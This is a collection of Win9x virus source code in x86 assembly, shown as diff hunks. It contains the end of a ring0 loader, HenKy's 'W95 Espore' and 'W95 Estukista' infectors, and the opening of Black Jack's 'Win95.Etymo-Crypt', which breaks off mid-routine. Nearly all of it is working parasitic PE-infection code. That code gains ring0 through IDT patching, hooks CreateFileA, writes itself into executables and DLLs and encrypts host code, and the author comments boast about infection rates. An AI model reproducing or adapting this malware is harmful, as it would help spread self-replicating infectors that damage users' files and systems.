||||
.delta:
|
||||
pop eax
|
||||
sub eax, .delta
|
||||
push eax
|
||||
sidt [esp-2] ;get idt to ebx
|
||||
pop ebx
|
||||
cli
|
||||
mov ebp, [ebx+0x4+(0x5*0x8)]
|
||||
mov bp, [ebx+(0x5*0x8)]
|
||||
lea ecx, [eax+ring0] ;new int5 handler
|
||||
mov [ebx+(0x5*0x8)], cx
|
||||
bswap ecx
|
||||
xchg cl, ch
|
||||
mov [ebx+0x6+(0x5*0x8)], cx
|
||||
push ds
|
||||
push es
|
||||
int 0x5 ;jump to ring0
|
||||
pop es
|
||||
pop ds
|
||||
.removeseh:
|
||||
sti
|
||||
sub eax, eax
|
||||
fs pop dword [eax] ;remove seh frame
|
||||
pop eax
|
||||
popad
|
||||
db 0x68 ;return to host
|
||||
.entrypoint dd 0
|
||||
pop ecx
|
||||
jecxz .ret
|
||||
push ecx
|
||||
.ret:
|
||||
ret
|
||||
|
||||
IFS:
|
||||
vxdcall 0x40, 0x32 ;just one place to fix
|
||||
ret
|
||||
|
||||
ring0:
|
||||
cld
|
||||
push ss
|
||||
pop ds
|
||||
mov edi, [eax+IFS]
|
||||
mov ax, 0x20CD ;these linez fix the previous
|
||||
stosw ;bug, found by AVz
|
||||
mov ax, 0x32
|
||||
stosw
|
||||
mov ax, 0x40
|
||||
stosw
|
||||
lea ecx, [eax+bname]
|
||||
lea esi, [eax+name]
|
||||
mov eax, 0xD500 ;openfile
|
||||
sub ecx, ecx
|
||||
mov edx, ecx
|
||||
mov ebx, ecx
|
||||
inc edx
|
||||
call IFS
|
||||
jnc .skip
|
||||
iret ;cant open host
|
||||
.skip:
|
||||
push eax
|
||||
push dword 8192
|
||||
fix3:
|
||||
vxdcall 0x40, 0x0D ;vmm alloc
|
||||
pop ecx
|
||||
mov esi, eax
|
||||
pop ebx
|
||||
jc .error
|
||||
mov eax, 0xD800 ;get filesize
|
||||
call IFS
|
||||
mov ecx, vsize
|
||||
sub eax, ecx
|
||||
mov edx, 0xD600 ;read overlay
|
||||
xchg eax, edx
|
||||
call IFS
|
||||
add esi, install-hook
|
||||
call esi ;call it!
|
||||
.error:
|
||||
iret
|
||||
|
||||
lsize equ ($-loader)
|
||||
|
||||
name equ $
|
||||
|
||||
%if userda == true
|
||||
rda_sz equ +16
|
||||
rda_crc equ +12
|
||||
rda_pbfr equ +08
|
||||
rda_ret@ equ +04
|
||||
rda_ebp@ equ +00
|
||||
rda_pass equ -04
|
||||
rda_key equ -08
|
||||
|
||||
rda:
|
||||
enter 8, 0 ;2 dwords as local var
|
||||
sub eax, eax
|
||||
mov [ebp+rda_pass], eax
|
||||
mov [ebp+rda_key], eax ;setup rda
|
||||
.setup:
|
||||
mov esi, [ebp+rda_pbfr]
|
||||
mov ecx, [ebp+rda_sz]
|
||||
mov edx, [ebp+rda_key] ;setup loop
|
||||
.loop:
|
||||
xor [esi], dl
|
||||
inc esi
|
||||
dec ecx
|
||||
jnz .loop
|
||||
inc dword [ebp+rda_pass] ;increase pass counter
|
||||
cmp [ebp+rda_pass], byte 2
|
||||
jne .check ;first pass
|
||||
sub eax, eax
|
||||
mov [ebp+rda_pass], eax
|
||||
inc dword [ebp+rda_key] ;new key
|
||||
jmp short .setup
|
||||
.check:
|
||||
push ebp
|
||||
push dword [ebp+rda_pbfr]
|
||||
push dword [ebp+rda_sz]
|
||||
call crc32 ;calc crc32
|
||||
pop ebp
|
||||
cmp eax, [ebp+rda_crc]
|
||||
jne .setup ;crc32 dont match
|
||||
leave
|
||||
ret 12
|
||||
%endif
|
||||
|
||||
vsize equ ($-$$)
|
||||
|
||||
bname:
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,136 @@
|
||||
;---------------------------- W95 ESPORE BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)
|
||||
|
||||
; OF COURSE MIDFILE AND NO GROWING CAVITY TECH
|
||||
|
||||
; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)
|
||||
|
||||
|
||||
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ
|
||||
|
||||
; PRIVILEGES
|
||||
|
||||
; THE BFF712B9h ADDRESS IS THE CALL VINT21
|
||||
|
||||
; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL
|
||||
|
||||
; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL )
|
||||
|
||||
.386P
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
MIX_SIZ EQU (FILE_END - MEGAMIX)
|
||||
|
||||
MACROSIZE MACRO
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
ENDM
|
||||
.DATA
|
||||
DB 'BIEN PEKE?O BIEN... LIKE AN ESPORE... HEHEHE',0
|
||||
DB ' W9X ESPORE SIZE = '
|
||||
MACROSIZE
|
||||
|
||||
.CODE
|
||||
|
||||
MEGAMIX: ; EDX: BUFFER
|
||||
; EAX: EIP
|
||||
; ECX: BUFFER
|
||||
|
||||
VINT21:
|
||||
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
|
||||
DB 'H' ; HenKy ;P
|
||||
XCHG EDI, EAX ; EDI: DELTA
|
||||
MOV ESI,0C1000000H ; ESI: BUFFER
|
||||
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
|
||||
|
||||
;EDX: POINTER TO FNAME
|
||||
|
||||
MOV ECX,28500 ; LIMIT
|
||||
PORK:
|
||||
INC EDX
|
||||
CMP WORD PTR [EDX],':C'
|
||||
JE KAA
|
||||
LOOP PORK
|
||||
OK:
|
||||
PUSH 00401000H
|
||||
OLD_EIP EQU $-4
|
||||
WARNING:
|
||||
RET
|
||||
KAA:
|
||||
MOV AX, 3D02h
|
||||
CALL [EDI]
|
||||
XCHG EBX, EAX
|
||||
PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI
|
||||
CALL PHECT
|
||||
POPAD
|
||||
MOV AH, 3Eh
|
||||
CALL [EDI]
|
||||
JMP PORK
|
||||
|
||||
PHECT:
|
||||
|
||||
XOR ECX,ECX
|
||||
MOV EDX, ESI
|
||||
MOV AH, 3Fh
|
||||
CALL R_W
|
||||
MOV ECX, [ESI+3Ch]
|
||||
LEA EAX, [ESI+ECX]
|
||||
CMP BYTE PTR [EAX], "P"
|
||||
JNE WARNING
|
||||
MOV ECX,[EAX+28H]
|
||||
CMP ECX, 1024
|
||||
JB WARNING
|
||||
PUSH EBP
|
||||
ADD ECX,[EAX+34H]
|
||||
MOV [EBP+OLD_EIP-MEGAMIX],ECX
|
||||
MOV EDI,EAX
|
||||
|
||||
PORRO:
|
||||
INC EDI
|
||||
CMP BYTE PTR [EDI],'B' ; hehehehe
|
||||
JNE PORRO
|
||||
INC EDI
|
||||
SUB EDI,ESI
|
||||
MOV EDX,EDI
|
||||
XCHG DWORD PTR [EAX+28h], EDI
|
||||
LEA EDI, [ESI+EDX]
|
||||
PUSH MIX_SIZ/4
|
||||
POP ECX
|
||||
POP EAX
|
||||
PUSH EAX
|
||||
XCHG ESI,EAX
|
||||
REP MOVSD
|
||||
POP EDI
|
||||
MOV EDX, EAX
|
||||
W:
|
||||
MOV AH, 40h
|
||||
R_W:
|
||||
PUSHAD
|
||||
XOR EAX,EAX
|
||||
MOV AH, 42h
|
||||
CDQ
|
||||
CALL [EDI]
|
||||
POPAD
|
||||
MOV CH, 4h
|
||||
CALL [EDI]
|
||||
RET
|
||||
|
||||
ALIGN 4
|
||||
FILE_END:
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
END MEGAMIX
|
||||
|
||||
@@ -0,0 +1,231 @@
|
||||
;-------------------------------- W95 ESTUKISTA BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
; VIRUS_SIZE = 126 BYTES!!!!
|
||||
|
||||
; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!!
|
||||
|
||||
; (NOT TESTED UNDER ME)
|
||||
|
||||
; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM
|
||||
|
||||
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES
|
||||
|
||||
; THE BFF712B9h ADDRESS IS THE CALL VINT21
|
||||
|
||||
; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE
|
||||
|
||||
; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND
|
||||
|
||||
; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)
|
||||
|
||||
|
||||
;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING
|
||||
; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST).
|
||||
|
||||
; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS
|
||||
; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO)
|
||||
|
||||
; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS
|
||||
; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE)
|
||||
|
||||
; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S
|
||||
|
||||
|
||||
;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)
|
||||
|
||||
|
||||
|
||||
;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ????
|
||||
;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57 C:\W
|
||||
;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR
|
||||
;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H D
|
||||
|
||||
; ....
|
||||
|
||||
;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ??< PE L
|
||||
;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01 ?79 à ?
|
||||
;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00 " ¨ P
|
||||
;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @ @ @
|
||||
;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00
|
||||
;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00 �
|
||||
;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00
|
||||
;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00
|
||||
;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT ?
|
||||
;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00 ?
|
||||
;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ?R
|
||||
;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00
|
||||
;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0
|
||||
;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 ?
|
||||
;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ ?.idata
|
||||
;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @ ?
|
||||
;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
|
||||
|
||||
; ....
|
||||
|
||||
;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00 ?
|
||||
;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ ?.bss
|
||||
;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P P
|
||||
;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
|
||||
;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P
|
||||
;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 ä
|
||||
;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ ?.rsrc
|
||||
;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00 š ä
|
||||
;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
|
||||
;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @
|
||||
;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~
|
||||
;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P ?.data
|
||||
;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00 ? ¸
|
||||
;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
|
||||
;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @ àb�????
|
||||
;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 àb�ðb� �
|
||||
;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00 @ ?+
|
||||
;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b�\b� lb�
|
||||
;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41 C:\WINPROG\A
|
||||
;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ???
|
||||
;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ´ NE Œ
|
||||
|
||||
; ....
|
||||
|
||||
|
||||
.586P
|
||||
PMMX ; WORF... ... JEJEJE
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
MIX_SIZ EQU (FILE_END - MEGAMIX)
|
||||
|
||||
MACROSIZE MACRO
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
ENDM
|
||||
.DATA
|
||||
|
||||
DB 0
|
||||
|
||||
DB 'SIZE = '
|
||||
MACROSIZE
|
||||
|
||||
.CODE
|
||||
|
||||
|
||||
MEGAMIX:
|
||||
; EAX: EIP
|
||||
; ESI: BUFFER
|
||||
|
||||
|
||||
VINT21:
|
||||
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
|
||||
DB 'H' ; HenKy ;P
|
||||
XCHG EDI, EAX ; EDI: DELTA
|
||||
MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG)
|
||||
MOV ESI,0C1000000H ; ESI: MY DATA BUFFER
|
||||
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
|
||||
|
||||
;EDX: POINTER TO FNAME
|
||||
|
||||
;LEA EDX,POPOPOP ; FOR DEBUG ONLY
|
||||
;JMP KAA
|
||||
|
||||
MOV ECX,28000 ; LIMIT
|
||||
PUSHAD
|
||||
|
||||
AMIMELASUDA:
|
||||
|
||||
POPAD
|
||||
PORK:
|
||||
INC EDX
|
||||
CMP WORD PTR [EDX],':C'
|
||||
JE KAA
|
||||
LOOP PORK
|
||||
|
||||
|
||||
WARNING:
|
||||
PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :)
|
||||
RET
|
||||
|
||||
KAA:
|
||||
PUSHAD
|
||||
MOV AX, 3D02h ; open
|
||||
CALL [EDI]
|
||||
JC AMIMELASUDA
|
||||
XCHG EBX, EAX
|
||||
MOV EDX,ESI
|
||||
XOR ECX,ECX
|
||||
MOV CH,4H
|
||||
MOV AH, 3Fh ;read
|
||||
CALL [EDI]
|
||||
MOV EAX, [EDX+3Ch]
|
||||
ADD EAX,EDX
|
||||
MOV EDI,EAX
|
||||
PUSH 32
|
||||
POP ECX
|
||||
|
||||
DEPOTA:
|
||||
INC EDI
|
||||
CMP BYTE PTR [EDI],'B'; HEHEHEHE
|
||||
JE GOSTRO
|
||||
JMP DEPOTA
|
||||
GOSTRO:
|
||||
INC EDI
|
||||
PUSH EDI
|
||||
MOV ESI,EBP
|
||||
REP MOVSD
|
||||
MOV ESI,EDI
|
||||
POP EDI
|
||||
SUB EDI,EDX
|
||||
XCHG DWORD PTR [EAX+28H],EDI
|
||||
CMP DI,1024
|
||||
JB CLOZ
|
||||
ADD EDI,[EAX+34H]
|
||||
XCHG DWORD PTR [ESI-MONGORE],EDI
|
||||
|
||||
PUSH EBP
|
||||
POP EDI
|
||||
XOR EAX,EAX
|
||||
PUSHAD
|
||||
MOV AH, 42h
|
||||
CDQ
|
||||
CALL [EDI]
|
||||
POPAD
|
||||
MOV CH,4H
|
||||
MOV AH,40H ; write
|
||||
CALL [EDI]
|
||||
CLOZ:
|
||||
MOV AH,3EH ; close
|
||||
CALL [EDI]
|
||||
JMP AMIMELASUDA
|
||||
|
||||
FILE_END:
|
||||
|
||||
DW 0 ;-P
|
||||
|
||||
MONGORE EQU 95 ; OLD_EIP
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0
|
||||
|
||||
END MEGAMIX
|
||||
|
||||
@@ -0,0 +1,709 @@
|
||||
; *************************************************************************
|
||||
; ******************** ********************
|
||||
; ******************** Win95.Etymo-Crypt ********************
|
||||
; ******************** by ********************
|
||||
; ******************** BLACK JACK ********************
|
||||
; ******************** ********************
|
||||
; *************************************************************************
|
||||
|
||||
comment ~
|
||||
|
||||
NAME: Win95.Etymo-Crypt
|
||||
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
|
||||
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
|
||||
TYPE: Win9x global ring3 resident parasitic PE infector
|
||||
SIZE: 1308 bytes
|
||||
|
||||
DESCRIPTION: When an infected file is run, the virus gets control. It gains
|
||||
ring0 by the standart IDT modifying trick. But it doesn't stay
|
||||
resident in ring0 (hooking VxD calls), but it just uses its
|
||||
ring0 privilege to write to the write-protected kernel32 memory:
|
||||
it copies itself into a gap in kernel32 in memory (between
|
||||
the header and the start of the first section, like nigr0's
|
||||
Win95.K32 virus) and hooks the CreateFileA API.
|
||||
Whenever the virus intercepts a file open now, it checks if
|
||||
the opened file is an infectable, uninfected PE EXE and infects
|
||||
it if all is ok. The infection process is a bit unusual: The
|
||||
virus creates a new section called ".vdata" (with standart data
|
||||
section attributes) and saves there the code from the entrypoint,
|
||||
after it has been encrypted against the virusbody. Then the
|
||||
entrypoint is overwritten with virus code, most of it encrypted
|
||||
again. The attributes of the code section are not modified, the
|
||||
virus doesn't need the write attribute set, because it only
|
||||
modifies its data when it is in ring0. The pro of this infection
|
||||
method is that there are no sections with unusual attributes.
|
||||
|
||||
KNOWN BUGS: Since the virus needs to be resident to restore control to the
|
||||
host, there is no need for checking the OS or preventing errors
|
||||
with SEH, because infected files will crash under WinNT anyways,
|
||||
there's no way to prevent that.
|
||||
Because of that unbound import stuff, the virus only catches
|
||||
very few file opens. In a kernel32.dll infector this would be
|
||||
easy to prevent by changing the timedate stamp of kernel32.dll.
|
||||
In this case this doesn't work, because the system checks this
|
||||
stamp after the kernel32 has been loaded into memory and will
|
||||
give error messages if it has been changed each times the user
|
||||
tries to start a program. Another possible solution, patching
|
||||
the entry point of the hooked API with the JMP_virus instruction,
|
||||
like nigr0 and Bumblebee do, won't work too, because with my
|
||||
residency method the kernel memory stays write protected. And so
|
||||
this virus is a slow infector, but it still catches enough file
|
||||
opens to replicate successfully.
|
||||
|
||||
ASSEMBLE WITH:
|
||||
tasm32 /mx /m etymo.asm
|
||||
tlink32 /Tpe /aa etymo.obj,,, import32.lib
|
||||
|
||||
there's no need for PEWRSEC or a similar tool, because the
|
||||
virus code is supposed to run in a read-only section anyways.
|
||||
|
||||
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
|
||||
Therefore, this source was only written for research and
|
||||
education. Please do not spread it. The author can't be hold
|
||||
responsible for what you decide to do with this source.
|
||||
|
||||
PS: Greetings go to Gilgalad for the name of this virus!
|
||||
|
||||
~
|
||||
; ===========================================================================
|
||||
|
||||
|
||||
virussize EQU (virus_end - virus_start)
|
||||
workspace EQU 10000
|
||||
|
||||
|
||||
Extrn MessageBoxA:Proc ; only for 1st gen
|
||||
Extrn ExitProcess:Proc
|
||||
|
||||
386p
|
||||
model flat
|
||||
|
||||
; First generation code is in the data section:
|
||||
|
||||
data
|
||||
start:
|
||||
push 0 ; show stupid messagebox
|
||||
push offset caption
|
||||
push offset message
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
JMP virus_start
|
||||
|
||||
quit_1st_gen:
|
||||
; quit program
|
||||
push 0 ; exit code
|
||||
push 0 ; ret address of call
|
||||
push offset ExitProcess ; can't do a real call,
|
||||
RET ; because this code is moved
|
||||
|
||||
caption db "Black Jack strikes again...", 0
|
||||
message db "Press OK to run the Win95.Etymo-Crypt virus", 0
|
||||
|
||||
skip_decryption_1st_gen:
|
||||
mov esi, offset new_bytes ; skip the decryption in the
|
||||
mov edi, offset jmp_skip_decryption_1st_gen ; first generation
|
||||
movsb
|
||||
movsd
|
||||
JMP over_encryption
|
||||
|
||||
new_bytes:
|
||||
mov ecx, ((virus_end - encrypted)/4)
|
||||
|
||||
|
||||
; Virus body is in the code section:
|
||||
|
||||
code
|
||||
virus_start:
|
||||
|
||||
; We have to access the section with the original host code from ring3 first,
|
||||
; because if we access it first from ring0, it is not mapped yet and the
|
||||
; virus will cause an exception. besides, the first dword of the encrypted
|
||||
; host code is also the key for the virus decryption.
|
||||
|
||||
db 0A1h ; mov eax, [imm32]
|
||||
org_host_code_VA dd offset quit_1st_gen
|
||||
|
||||
call next ; go to ring0 calling routine
|
||||
|
||||
; ----- FIRST PART OF RING0 CODE --------------------------------------------
|
||||
r0proc:
|
||||
pop ebp ; offset of end_next label
|
||||
sub ebp, (end_next - virus_start) ; EBP=delta offset
|
||||
push ebp ; is also true offset of
|
||||
; virus start in memory,
|
||||
; where we will return to
|
||||
|
||||
mov dword ptr [edx+5*8], esi ; restore interrupt
|
||||
mov dword ptr [edx+5*8+4], edi ; descriptor
|
||||
|
||||
|
||||
lea edi, [ebp+virus_end-virus_start] ; EDI=end of virus in memory
|
||||
|
||||
jmp_skip_decryption_1st_gen:
|
||||
JMP skip_decryption_1st_gen ; skip decryption in first
|
||||
; generation. will be
|
||||
; replaced with:
|
||||
; mov ecx, ((virus_end - encrypted)/4)
|
||||
|
||||
|
||||
decrypt_virus_body:
|
||||
dec edi ; go to previous dword
|
||||
dec edi
|
||||
dec edi
|
||||
dec edi
|
||||
|
||||
xor dword ptr [edi], eax ; decrypt one dword
|
||||
mov eax, dword ptr [edi] ; decrypted dword is new key
|
||||
LOOP decrypt_virus_body ; loop until all is decrypted
|
||||
|
||||
JMP encrypted ; jump to code that was just
|
||||
; decrypted.
|
||||
|
||||
; ----- JUMP TO RING0 -------------------------------------------------------
|
||||
next:
|
||||
push edx ; reserve room on stack
|
||||
sidt [esp-2] ; get IDT address
|
||||
pop edx ; EDX=IDT address
|
||||
|
||||
mov esi, dword ptr [edx+5*8] ; save old interrupt
|
||||
mov edi, dword ptr [edx+5*8+4] ; descriptor to EDI:ESI
|
||||
|
||||
pop ebx ; get address of ring0 proc
|
||||
|
||||
mov word ptr [edx+5*8], bx ; write offset of our ring0
|
||||
shr ebx, 16 ; procedure into interrupt
|
||||
mov word ptr [edx+5*8+6], bx ; descriptor
|
||||
|
||||
int 5 ; call our ring0 code!
|
||||
end_next:
|
||||
; no IRET to here.
|
||||
|
||||
; ----- MAIN ENCRYPTED RING0 CODE -------------------------------------------
|
||||
encrypted:
|
||||
|
||||
; now we decrypt the original start code of the host, which has been
|
||||
; encrypted against the virus body.
|
||||
|
||||
mov esi, ebp ; ESI=start of virus body
|
||||
mov edi, [ebp + (org_host_code_VA-virus_start)] ; start of host code
|
||||
xor ecx, ecx ; ECX=0
|
||||
|
||||
decrypt_loop:
|
||||
lodsb
|
||||
sub byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
xor byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
add byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
xor byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
cmp ecx, virussize ; all decrypted?
|
||||
JB decrypt_loop ; loop until all is done
|
||||
|
||||
over_encryption:
|
||||
|
||||
; the kernel32 address is hardcoded, because this is virus is only Win95
|
||||
; compatible anyways
|
||||
|
||||
mov eax, 0BFF70000h ; EAX=kernel32 offset
|
||||
mov ebx, eax ; EBX=EAX
|
||||
add ebx, [eax+3Ch] ; EBX=PE header VA
|
||||
|
||||
mov edi, [ebx+54h] ; header size
|
||||
add edi, eax ; EDI=virus VA
|
||||
cmp byte ptr [edi], 0A1h ; "mov eax, imm32" opcode is
|
||||
JE already_resident ; residency marker
|
||||
push edi ; save virus VA in kernel32
|
||||
|
||||
; ----- SEARCH API ADDRESSES ------------------------------------------------
|
||||
mov edx, [ebx+78h] ; EDX=export directory RVA
|
||||
add edx, eax ; EDX=export directory VA
|
||||
lea esi, [ebp + (names_RVA_table - virus_start)] ; array with ptrs
|
||||
; to API names
|
||||
lea edi, [ebp + (API_RVAs - virus_start)] ; where to store the
|
||||
; API adresses
|
||||
|
||||
find_API:
|
||||
xor ecx, ecx ; ECX=0 (API names counter)
|
||||
|
||||
search_loop:
|
||||
pusha ; save all registers
|
||||
push eax ; save EAX (kernel32 offset)
|
||||
lodsd ; get offset of API name
|
||||
or eax, eax ; all done?
|
||||
JZ all_found
|
||||
add eax, ebp ; fixup with delta offset
|
||||
xchg eax, esi ; ESI=VA of a needed API name
|
||||
pop eax ; restore EAX (kernel32 offs)
|
||||
mov edi, [edx+20h] ; EDI=AddressOfNames RVA
|
||||
add edi, eax ; EDI=AddressOfNames VA
|
||||
mov edi, [edi+ecx*4] ; EDI=RVA of API Name
|
||||
add edi, eax ; EDI=VA of API Name
|
||||
|
||||
cmp_loop:
|
||||
lodsb ; get char from our API name
|
||||
scasb ; equal to the one in k32 ?
|
||||
JNE search_on_API ; if not,try next exported API
|
||||
or al, al ; end of name?
|
||||
JZ found_API ; we've found an needed API!
|
||||
JMP cmp_loop ; go on with name compare
|
||||
|
||||
search_on_API:
|
||||
popa ; restore all registers
|
||||
inc ecx ; try next API in exports
|
||||
JMP search_loop ; go on
|
||||
|
||||
found_API:
|
||||
popa ; restore all registers
|
||||
shl ecx, 1 ; ECX=ECX*2 (index ordinals)
|
||||
add ecx, [edx+24h] ; AddressOfOrdinals RVA
|
||||
movzx ecx, word ptr [ecx+eax] ; ECX=API Ordinal
|
||||
shl ecx, 2 ; ECX=ECX*4
|
||||
add ecx, [edx+1Ch] ; AddressOfFunctions RVA
|
||||
add ecx, eax ; ECX=VA of API RVA
|
||||
mov dword ptr [ebp+(hook_API-virus_start)], ecx ; save it
|
||||
mov ecx, [ecx] ; ECX=API RVA
|
||||
push eax ; save EAX (kernel32 base)
|
||||
add eax, ecx ; EAX=API VA!
|
||||
stosd ; store it!
|
||||
lodsd ; do the next API (add esi,4)
|
||||
pop eax ; restore EAX (kernel32 base)
|
||||
JMP find_API ; do next API.
|
||||
|
||||
all_found:
|
||||
pop eax ; remove EAX from stack
|
||||
popa ; restore all registers
|
||||
|
||||
; last found API is hooked
|
||||
mov ecx, [ebp+(hook_API-virus_start)] ; ECX=VA of API RVA
|
||||
